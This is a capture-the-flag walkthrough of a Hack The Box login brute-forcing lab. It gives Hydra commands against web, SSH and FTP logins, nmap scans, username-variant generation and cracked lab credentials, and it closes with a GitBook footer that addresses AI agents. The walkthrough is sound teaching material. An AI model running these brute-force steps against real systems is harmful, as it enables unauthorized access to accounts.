> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/login-brute-forcing.md).

# Login Brute Forcing

## Skills Assessment (Part 1 & 2) Walkthrough

> **HTB Module:** Login Brute Forcing **Difficulty:** Medium **Goal:** Brute-force web login → get username → brute-force SSH → enumerate internal services → brute-force FTP → capture flag **Tools:** Hydra, username-anarchy, Nmap, FTP
>
> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FI4RfYskOgy1HOLms586v%2Fksnip_20260917-002240.png?alt=media\&token=70e2d48e-273b-43a6-99cd-e18be6e327ec) ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FcjPoAYjE6W7RwMLya9VN%2Fimage.png?alt=media\&token=ed005c23-91b8-485e-a43c-37c6ef003003)

***

### 📌 Scenario

This is a two-part skills assessment. **Part 1** requires brute-forcing a web login to get a username. **Part 2** uses that username to chain through SSH, internal enumeration, and FTP brute-forcing to capture the final flag.

### 🗺️ Attack Chain

```
Part 1: Hydra HTTP brute-force → web login → get username for Part 2

Part 2: Hydra SSH brute-force → SSH login → IncidentReport.txt
  → "Thomas Smith" → username-anarchy → user.txt
    → ifconfig → internal IP 10.244.40.211 → nmap (FTP + SSH)
      → Hydra FTP brute-force (from target) → thomas:chocolate!
        → FTP login → flag.txt 🏴
```

***

***

## Part 1 — Web Login Brute-Force

***

## Step 1 — Hydra HTTP-GET Brute-Force

We have a web application with a login page. Use the provided wordlists (`users.txt` and `passwords.txt`) to brute-force:

```bash
hydra -L users.txt -P passwords.txt -s 30972 154.57.164.68 http-get
```

**Hit!** 🎯 Hydra finds valid HTTP credentials.

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F1v9H86lEc7Zd3CGHwnC7%2Fimg-000.png?alt=media&amp;token=9c713ffd-aef6-4a99-994b-dae3690dd351" alt="" data-size="original">

***

## Step 2 — Login & Get Username for Part 2

Login to the web app with the cracked credentials. The page shows:

**"Congratulations! This is the username you will need for part 2 of the Skills Assessment:"** followed by the username.

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fh3jbiAuONQnyvMQEbBoD%2Fimg-001.png?alt=media&amp;token=5af33415-2c40-4100-8213-ca94d8b76709" alt="" data-size="original">

***

***

## Part 2 — SSH → Internal Pivot → FTP → Flag

***

## Step 3 — Confirm SSH is Running

First, let's verify SSH is running on the target:

```bash
sudo nmap -p 32511 -A 154.57.164.77 -Pn --disable-arp
```

```
PORT      STATE SERVICE VERSION
32511/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
```

SSH on port **32511** confirmed. Ubuntu 22.04.

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fpn6lnj5geui8AhHEN1nD%2Fimg-002.png?alt=media&amp;token=1b86b9be-53d7-4d97-8b66-eafcb4ef2c49" alt="" data-size="original">

***

## Step 4 — Hydra SSH Brute-Force

Use the username from Part 1 and brute-force SSH:

```bash
hydra -l <username> -P passwords.txt ssh://154.57.164.77:32511
```

**Hit!** 🎯 Valid SSH creds found.

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FocwdywX0vb5lGlCaTyxU%2Fimg-003.png?alt=media&amp;token=e2878a62-8e59-4f7c-925f-e5d76522a5f5" alt="" data-size="original">

***

## Step 5 — SSH Login

SSH into the target:

```bash
ssh <username>@154.57.164.77 -p 32511
```

We're in! Ubuntu 22.04.4 LTS.

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FuJmKEx1DFBj8zC3Omd04%2Fimg-004.png?alt=media&amp;token=374f0b71-0143-4779-a825-746fd6d1ad16" alt="" data-size="original">

***

## Step 6 — Reading the Incident Report

Check what files are in the home directory:

```bash
ls
# IncidentReport.txt  passwords.txt  username-anarchy

cat IncidentReport.txt
```

The report says:

```
System Logs - Security Report
Date: 2024-09-06

Upon reviewing recent FTP activity, we have identified suspicious behavior
linked to a specific user. The user **Thomas Smith** has been regularly
uploading files to the server during unusual hours and has bypassed
multiple security protocols.

All logs point towards Thomas Smith being the FTP user responsible for
recent questionable transfers. We advise closely monitoring this user's
actions and reviewing any files uploaded to the FTP server.
```

Key info: **Thomas Smith** is the FTP user we need to target. 🎯

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F8eJO8n7d6V0n4WFn8QVB%2Fimg-005.png?alt=media&amp;token=e91e5369-f88f-4df8-bd92-bc37cb59106f" alt="" data-size="original">

***

## Step 7 — Generate Username Variants with username-anarchy

There's a `username-anarchy` tool conveniently on the box. Use it to generate possible FTP username variants for "Thomas Smith":

```bash
./username-anarchy Thomas Smith > ~/user.txt
```

This generates variations like: `thomas`, `tsmith`, `t.smith`, `thomass`, `smitht`, etc.

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F8jascLa7PrOjfcikF1sC%2Fimg-006.png?alt=media&amp;token=6f918509-2189-4927-9612-ce8b6a05f5b7" alt="" data-size="original">

***

## Step 8 — Internal Network Discovery

Check for internal network interfaces and scan for services:

```bash
ifconfig
```

Found internal interface `eth0` with IP `10.244.40.211`.

Scan localhost/internal IP:

```bash
nmap 10.244.40.211
```

```
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
```

FTP is running internally! 🔥

<figure><img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FGbxQAaCPxUP4cbjzOdOa%2Fimg-007.png?alt=media&amp;token=bb548378-89f7-4afe-86be-6118f15dbb5c" alt=""><figcaption></figcaption></figure>

***

## Step 9 — Hydra FTP Brute-Force (From Target)

Use the built-in hydra on the target system to brute-force FTP with our generated username list:

```bash
hydra -L user.txt -P passwords.txt ftp://10.244.40.211
```

**Hit!** 💰

```
[21][ftp] host: 10.244.40.211   login: thomas   password: chocolate!
```

FTP creds: `thomas:chocolate!`

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fcw93mniLAPRrznmKMkhD%2Fimg-008.png?alt=media&amp;token=65051f6c-81ef-4ff4-abad-f5c4a410c445" alt="" data-size="original">

***

## Step 10 — FTP Login & Flag

Login to FTP with the cracked creds:

```bash
ftp 10.244.40.211
# Username: thomas
# Password: chocolate!
```

```
ftp> ls
-rw------   1 1001  1001   28 Sep 10  2024 flag.txt

ftp> get flag.txt
```

Download and read the flag! 🏴

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FGPHlpoozgnoCxNXYlVBy%2Fimg-009.png?alt=media&amp;token=26f4aa55-cf23-485b-91a5-487dc28c6e63" alt="" data-size="original">

***

## 🏆 Pwned!

Web brute-force → username → SSH brute-force → incident report → username-anarchy → internal FTP brute-force → flag captured.

#### Tools Used

| Tool               | Purpose                                    |
| ------------------ | ------------------------------------------ |
| `hydra`            | HTTP, SSH, and FTP brute-forcing           |
| `nmap`             | Port scanning & service detection          |
| `username-anarchy` | Username variant generation from real name |
| `ssh`              | Shell access                               |
| `ftp`              | FTP login & file retrieval                 |

***

> **GG 🏴** — HTTP brute → SSH brute → incident report → username-anarchy → internal FTP brute → flag.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/login-brute-forcing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
